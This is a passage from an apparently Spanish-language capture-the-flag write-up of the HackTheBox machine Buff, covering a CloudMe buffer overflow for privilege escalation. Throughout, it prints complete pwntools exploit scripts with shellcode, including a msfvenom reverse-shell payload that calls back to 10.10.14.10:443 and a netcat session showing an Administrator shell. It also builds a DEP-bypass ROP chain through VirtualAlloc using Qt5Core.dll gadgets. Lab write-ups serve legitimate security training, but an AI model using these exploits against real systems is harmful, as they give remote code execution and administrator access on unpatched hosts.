shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"
shellcode += b"\x63\x2e\x65\x78\x65\x00"

El exploit final enviara basura hasta entes del eip, en el escribira una direccion que ejecuta un call esp y como ahi estará nuestro shellcode lo interpretara

#!/usr/bin/python3
from pwn import remote, p32

offset = 1052
junk = b"A" * offset

callesp = p32(0x68f7bcdb)

shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"  
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"  
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"  
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"  
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"  
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"  
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"  
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"  
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"  
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"  
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"  
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"  
shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"  
shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"  
shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"  
shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"  
shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"  
shellcode += b"\x63\x2e\x65\x78\x65\x00"

payload = junk + callesp + shellcode

shell = remote("127.0.0.1", 8888)
shell.sendline(payload)

Al ejecutar el exploit el programa se detiene y abre una calculadora en el equipo

Ya que podemos ejecutar comandos con este exploit solo nos queda generar un nuevo shellcode usando msfvenom que envie una reverse shell por el puerto 443

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of python file: 1823 bytes
shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\x0a\x0a\x0e\x0a\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

Creamos el proxy desde la maquina victima y al correr nuestro exploit final nos envia una shell como el usuario Administrator donde podemos leer la flag final

❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 8888: Done
[*] Closed connection to 127.0.0.1 port 8888

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.198
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
buff\administrator

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt  
c1a**************************33b

C:\Windows\system32>


Extra - DEP Bypass


En este caso el exploit funcionó a la primera, pero ¿que pasaria si la proteccion DEP estuviera habilitada en el equipo victima?, al ejecutar el exploit el programa se corrompe por lo que perderiamos la escalada de privilegios, lo mejor es anticiparse estas cosas por lo que en nuestra maquina habilitaremos DEP para CloudMe.exe

Al correr el exploit con DEP activado podemos ver que corrompe justo al inicio del shellcode, esto es porque no se le permite ejecutarlo ya que la proteccion del stack es PAGE_READWRITE impidiendo la ejecución de instrucciones en el

0:000> g
(c94.2974): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=41414141 ecx=43b53c74 edx=033d0000 esi=41414141 edi=41414141  
eip=00a3aa10 esp=00a3aa0c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202  
00a3aa10 fc              cld

0:000> !vprot esp
BaseAddress:       00a3a000
AllocationBase:    00840000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00006000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

Hay varias funciones que nos permiten cambiar este privilegio entre ellas VirtualProtect, WriteProcessMemory o la que usaremos VirtualAlloc ya que al reservar memoria se le permite indicar la proteccion de esta por lo que si reservamos una página del stack conseguimos cambiar sus protecciones a algo con EXECUTE

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,  
  [in]           DWORD  flProtect
);

Veamos que debemos pasar como argumentos, lpAddress será la dirección donde se revervara memoria, en este caso será el stack o esp, luego tenemos dwSize en este caso solo reservaremos el tamaño de una página, luego viene flAllocationType la documentación nos dice que si indicamos una dirección debemos usar MEM_COMMIT o 0x1000, finalmente flProtect donde usaremos PAGE_EXECUTE_READWRITE o 0x40 para hacer el stack ejecutable y asi ejecutar el shellcode de forma correcta

lpAddress        = &esp
dwSize           = 0x1
flAllocationType = 0x1000  
flProtect        = 0x40

Algo a tener en cuenta es que los argumentos se pasan en el stack, como tenemos DEP habilitado hay pocos gadgets que ejecuten un push de un solo registro sin intentar ejecutar algo más, un método es utilizar el gadget pushad; ret; que ejecuta un push de todos los registros en un orden especifico que es el siguiente

Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);

El ultimo argumento lpAddress indica el inicio de donde reservaremos memoria asi que tenemos que adaptarnos al orden de pushad, tendremos que guardar los valores de los otros 3 argumentos en orden inverso a partir del push de Temp o esp

$ecx = flProtect
$edx = flAllocationType
$ebx = dwSize
$esp = lpAddress

Para encontrar los gadgets necesarios se puede utilizar ropper en el modo consola

❯ ropper --file Qt5Core.dll --console
[INFO] Load gadgets for section: .text  
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%  
(Qt5Core.dll/PE/x86)>

Guardamos los valores de los argumentos en los registros que definimos antes, para ello podemos usar gadgets pop ???; ret; y como 0x00 no es un badchar nos permite enviar los valores directamente a diferencia de si lo fuera

rop += p32(0x68ae4fe3) # pop ecx; ret;
rop += p32(0x40)       # flProtect
rop += p32(0x68ae2632) # pop edx; ret;
rop += p32(0x1000)     # flAllocationType  
rop += p32(0x68a81033) # pop ebx; ret;
rop += p32(0x1)        # dwSize

Como nos queda un registro al inicio de pushad y no afectará al resto guardaremos la función VirtualAlloc en eax para poder saltar a el, antes obtendremos su IAT

0:000> !py mona getiat -m qt5core.dll -s virtualalloc
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py getiat -m qt5core.dll -s virtualalloc

---------- Mona command started on 2024-07-21 20:46:29 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules qt5core.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
[+] Preparing output file 'iatsearch.txt'
    - (Re)setting logfile C:\mona\iatsearch.txt
    Getting IAT for Qt5Core.dll.
    Enumerating IAT
0x690398a0 | At 0x690398a0 in qt5core (base + 0x005b98a0) : 0x778a81b0 (ptr to KERNEL32.virtualalloc) - [KERNEL32] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.22621.3672 (C:\Windows\SysWOW64\KERNEL32.DLL), 0x4140   

1 entries found

rop += p32(0x68ae7ee3) # pop eax; ret;
rop += p32(0x690398a0) # VirtualAlloc()  

Nos quedan 3 registros antes de Temp, en edi que sera el primero en ejecutarse simplemente ejecutaremos un ret y pasaremos al valor de esi que ejecutará VirtualAlloc, al terminar la función ejecutará el pop rbp que limpiara el stack para ejecutar la siguiente instrucción que será el salto al shellcode a ejecutar

rop += p32(0x68a812c9) # pop ebp; ret;
rop += p32(0x68a812c9) # pop ebp; ret;
rop += p32(0x68a81b9d) # pop esi; ret;
rop += p32(0x68a92e0c) # jmp dword ptr [eax];
rop += p32(0x68a81ad7) # pop edi; ret;
rop += p32(0x68a81011) # ret;

Ya con todos los registros establecidos solo nos queda ejecutar el pushad; ret;, luego de salir de VirtualAlloc ejecutaremos un simple jmp esp para ejecutar el shellcode

rop += p32(0x68a914f5) # pushad; ret;
rop += p32(0x68a98a7b) # jmp esp;

El exploit ejecutará la cadena rop para modificar los permisos del stack utilizando VirtualAlloc y una vez este sea ejecutable ejecutará el shellcode

#!/usr/bin/python3
from pwn import remote, p32

offset = 1052
junk = b"A" * offset

rop  = b""
rop += p32(0x68ae7ee3) # pop eax; ret;
rop += p32(0x690398a0) # VirtualAlloc()
rop += p32(0x68ae4fe3) # pop ecx; ret;
rop += p32(0x40)       # flProtect
rop += p32(0x68ae2632) # pop edx; ret;
rop += p32(0x1000)     # flAllocationType
rop += p32(0x68a81033) # pop ebx; ret;
rop += p32(0x1)        # dwSize
rop += p32(0x68a812c9) # pop ebp; ret;
rop += p32(0x68a812c9) # pop ebp; ret;
rop += p32(0x68a81b9d) # pop esi; ret;
rop += p32(0x68a92e0c) # jmp dword ptr [eax];
rop += p32(0x68a81ad7) # pop edi; ret;
rop += p32(0x68a81011) # ret;
rop += p32(0x68a914f5) # pushad; ret;
rop += p32(0x68a98a7b) # jmp esp;

shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"  
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"  
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"  
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"  
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"  
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"  
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"  
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"  
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"  
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"  
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"  
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"  
shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"  
shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"  
shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"  
shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"  
shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"  
shellcode += b"\x63\x2e\x65\x78\x65\x00"

payload = junk + rop + shellcode

shell = remote("127.0.0.1", 8888)
shell.sendline(payload)

Para ver que funcione podemos establecer un breakpoint en VirtualAlloc, cuando llega ahi podemos comprobar que los parametros esten establecidos correctamente

0:000> bp kernel32!VirtualAllocStub

0:000> g
Breakpoint 0 hit
eax=690398a0 ebx=00000001 ecx=00000040 edx=00001000 esi=68a92e0c edi=68a81011
eip=778a81b0 esp=00a3aa30 ebp=68a812c9 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
KERNEL32!VirtualAllocStub:
778a81b0 8bff            mov     edi,edi

0:000> dds esp + 4 L4
00a3aa34  00a3aa48
00a3aa38  00000001
00a3aa3c  00001000
00a3aa40  00000040

Luego de ejecutar la función si volvemos a ver la protección del stack paso de 0x4 a 0x40 que es igual a PAGE_EXECUTE_READWRITE, esta protección ya deberia permitirnos ejecutar el shellcode asi que continuamos con la ejecución

0:000> pt
eax=00a3a000 ebx=00000001 ecx=6ce90000 edx=00a3a000 esi=68a92e0c edi=68a81011  
eip=759d2dee esp=00a3aa30 ebp=68a812c9 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246  
KERNELBASE!VirtualAlloc+0x4e:
759d2dee c21000          ret     10h

0:000> !vprot esp
BaseAddress:       00a3a000
AllocationBase:    00840000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE
Type:              00020000  MEM_PRIVATE

0:000> g

Al continuar la ejecución podemos ver que el shellcode se ejecuta sin problemas

Ya que podemos ejecutar comandos con este exploit solo nos queda generar un nuevo shellcode usando msfvenom que envie una reverse shell por el puerto 443

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of python file: 1823 bytes
shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\x0a\x0a\x0e\x0a\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

Corremos el nuevo exploit esta vez bypasseando la protección DEP y al final nos envia una shell como el usuario Administrator donde podemos leer la flag final

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.198
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
buff\administrator

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt  
c1a**************************33b

C:\Windows\system32>